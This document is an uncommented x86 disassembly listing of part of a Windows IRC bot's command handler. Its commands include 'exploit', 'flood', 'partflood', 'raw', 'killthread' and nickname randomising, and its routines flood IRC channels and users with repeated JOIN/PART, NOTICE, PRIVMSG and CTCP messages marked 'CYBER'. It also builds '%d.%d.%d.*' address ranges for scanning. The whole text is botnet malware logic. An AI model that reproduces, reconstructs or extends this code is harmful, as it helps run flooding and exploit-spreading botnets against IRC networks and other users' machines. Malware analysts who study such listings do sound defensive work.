loc_40471E: ; CODE XREF: sub_401ACD+1018j
; sub_401ACD+102Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473E
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473E
push esi
call sub_41B779
pop ecx
jmp short loc_404744
; ---------------------------------------------------------------------------
loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj
; sub_401ACD+2C66j
mov ax, word_429084
loc_404744: ; CODE XREF: sub_401ACD+2C6Fj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF14
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A72
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F6
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset byte_40E503
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_404813
loc_4047FD: ; CODE XREF: sub_401ACD+2D44j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
call near ptr 2820566h
nop
jmp short loc_4047FD
; ---------------------------------------------------------------------------
loc_404813: ; CODE XREF: sub_401ACD+2D2Ej
nop
call near ptr 2830047h
push eax
push offset unk_42BED4
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404824: ; CODE XREF: sub_401ACD+FC4j
; sub_401ACD+FD9j ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484C
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404856
loc_40484C: ; CODE XREF: sub_401ACD+2D66j
mov [ebp+var_A10], 1
loc_404856: ; CODE XREF: sub_401ACD+2D7Dj
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489D
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489D: ; CODE XREF: sub_401ACD+2DC9j
push eax
push offset dword_42BEA0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E19
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_404911
loc_4048FB: ; CODE XREF: sub_401ACD+2E42j
cmp [ebp+var_A04], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2820566h
jmp short loc_4048FB
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+2E2Cj
call near ptr 2830047h
nop
push eax
push offset dword_42BE64
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_404922: ; CODE XREF: sub_401ACD+F9Aj
; sub_401ACD+FAFj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AE
loc_404933: ; CODE XREF: sub_401ACD+2AB8j
; sub_401ACD+2ACEj ...
add esp, 0Ch
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_401ACD+F70j
; sub_401ACD+F85j
push offset unk_42BDB4
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_404945: ; CODE XREF: sub_401ACD+F46j
; sub_401ACD+F5Bj
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BDA4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_404954: ; CODE XREF: sub_401ACD+F1Cj
; sub_401ACD+F31j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AE
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A6
cmp eax, 3
jge short loc_4049A6
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499E
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D080
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_40499E: ; CODE XREF: sub_401ACD+2EB0j
push eax
push offset unk_42BD78
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj
; sub_401ACD+2EA0j
push eax
push offset unk_42BD4C
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049AE: ; CODE XREF: sub_401ACD+2E90j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B3: ; CODE XREF: sub_401ACD+2F02j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D6
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B3
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42D080
loc_4049EB: ; CODE XREF: sub_401ACD+2152j
; sub_401ACD+2ED7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408288
; ---------------------------------------------------------------------------
loc_4049FC: ; CODE XREF: sub_401ACD+EF2j
; sub_401ACD+F07j
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A5
call sub_40B2BF
push ebx
nop
call near ptr 77E75CB5h
loc_404A22: ; CODE XREF: sub_401ACD+1A11j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB0
cmp dword_4CEDD8, ebx
jz short loc_404A4A
push offset dword_4CE7B8
loc_404A40: ; CODE XREF: sub_401ACD+2FE1j
push offset unk_42BD10
jmp loc_404AE0
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A40
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_401ACD+2F64j
push esi
call dword_4CB664
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC4
push offset unk_42BCD0
jmp short loc_404AE0
; ---------------------------------------------------------------------------
loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj
push offset dword_4CE7B8
call sub_41BEB0
pop ecx
mov dword_4CEDD8, 1
pop ecx
push esi
push offset unk_42BCA4
loc_404AE0: ; CODE XREF: sub_401ACD+2F78j
; sub_401ACD+2FF5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FD
; ---------------------------------------------------------------------------
loc_404AF4: ; CODE XREF: sub_401ACD+19F9j
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF7
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC6C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset byte_40B8A1
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_404BE6
loc_404BD0: ; CODE XREF: sub_401ACD+3117j
cmp [ebp+var_13DC], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_404BD0
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_401ACD+3101j
call near ptr 2830047h
nop
push eax
push offset unk_42BC2C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_404BF7: ; CODE XREF: sub_401ACD+3036j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DE
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFD
cmp [ebp+esi+var_80], ebx
jz short loc_404CFD
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A5F
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42BBC4
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404CFD: ; CODE XREF: sub_401ACD+31B9j
; sub_401ACD+31BFj ...
push [ebp+arg_10]
push offset dword_42BBC0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D69
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D69
push offset asc_42D0F0 ; " "
push offset dword_42BBBC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404D69: ; CODE XREF: sub_401ACD+3241j
; sub_401ACD+324Cj
push [ebp+arg_10]
push offset dword_42BBA8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD5
push offset asc_42D0F0 ; " "
push offset dword_42BBBC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BB94
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404DD5: ; CODE XREF: sub_401ACD+32ADj
; sub_401ACD+32B8j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E41
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E41
push offset asc_42D0F0 ; " "
push offset dword_42BBBC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404E41: ; CODE XREF: sub_401ACD+3319j
; sub_401ACD+3324j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAD
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAD
push offset asc_42D0F0 ; " "
push offset dword_42BBBC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404EAD: ; CODE XREF: sub_401ACD+3385j
; sub_401ACD+3390j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EEC
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EEC
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404EEC: ; CODE XREF: sub_401ACD+33F1j
; sub_401ACD+33FCj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2B
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404F2B: ; CODE XREF: sub_401ACD+3430j
; sub_401ACD+343Bj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F6F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F6F
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404F6F: ; CODE XREF: sub_401ACD+346Fj
; sub_401ACD+347Aj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE8
cmp [ebp+esi+var_88], ebx
jz short loc_404FE8
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42BB24
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404FE8: ; CODE XREF: sub_401ACD+34B3j
; sub_401ACD+34BCj
push [ebp+arg_10]
push offset dword_42BB10
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405135
cmp [ebp+esi+var_88], ebx
jz loc_405135
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber ; "CYBER"
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405135: ; CODE XREF: sub_401ACD+352Cj
; sub_401ACD+3539j
push [ebp+arg_10]
push offset dword_42BB0C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051CF
cmp [ebp+esi+var_88], ebx
jz short loc_4051CF
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42BAE4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 24h
loc_4051CF: ; CODE XREF: sub_401ACD+3679j
; sub_401ACD+3686j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D1
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_4052D1: ; CODE XREF: sub_401ACD+3713j
; sub_401ACD+3722j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405318
lea eax, [ebp+var_1808]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_405318: ; CODE XREF: sub_401ACD+3815j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405407
cmp [ebp+esi+var_88], ebx
jz loc_405407
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset dword_42BBAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBAC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405407: ; CODE XREF: sub_401ACD+385Cj
; sub_401ACD+3869j
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F6
cmp [ebp+esi+var_88], ebx
jz loc_4054F6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_4054F6: ; CODE XREF: sub_401ACD+394Bj
; sub_401ACD+3958j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560D
cmp [ebp+esi+var_88], ebx
jz loc_40560D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BA9C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BA84
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BA6C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BA6C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj
; sub_401ACD+3A47j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405733
cmp [ebp+esi+var_88], ebx
jz loc_405733
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BA9C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405733: ; CODE XREF: sub_401ACD+3B51j
; sub_401ACD+3B5Ej
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405779
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405779
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405779: ; CODE XREF: sub_401ACD+3C77j
; sub_401ACD+3C82j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C3
mov edi, offset dword_4D46BC
loc_405795: ; CODE XREF: sub_401ACD+3CE7j
cmp dword ptr [edi-4], 1
jnz short loc_4057A8
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A8
push eax
call dword_4CB6BC
loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj
; sub_401ACD+3CD2j
add edi, 210h
cmp edi, offset dword_4DADDC
jl short loc_405795
cmp [ebp+var_8], ebx
jnz loc_4062C3
push ebx
push [ebp+var_4]
push offset unk_42BA0C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4062C3
; ---------------------------------------------------------------------------
loc_4057DE: ; CODE XREF: sub_401ACD+3195j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aServer ; "server"
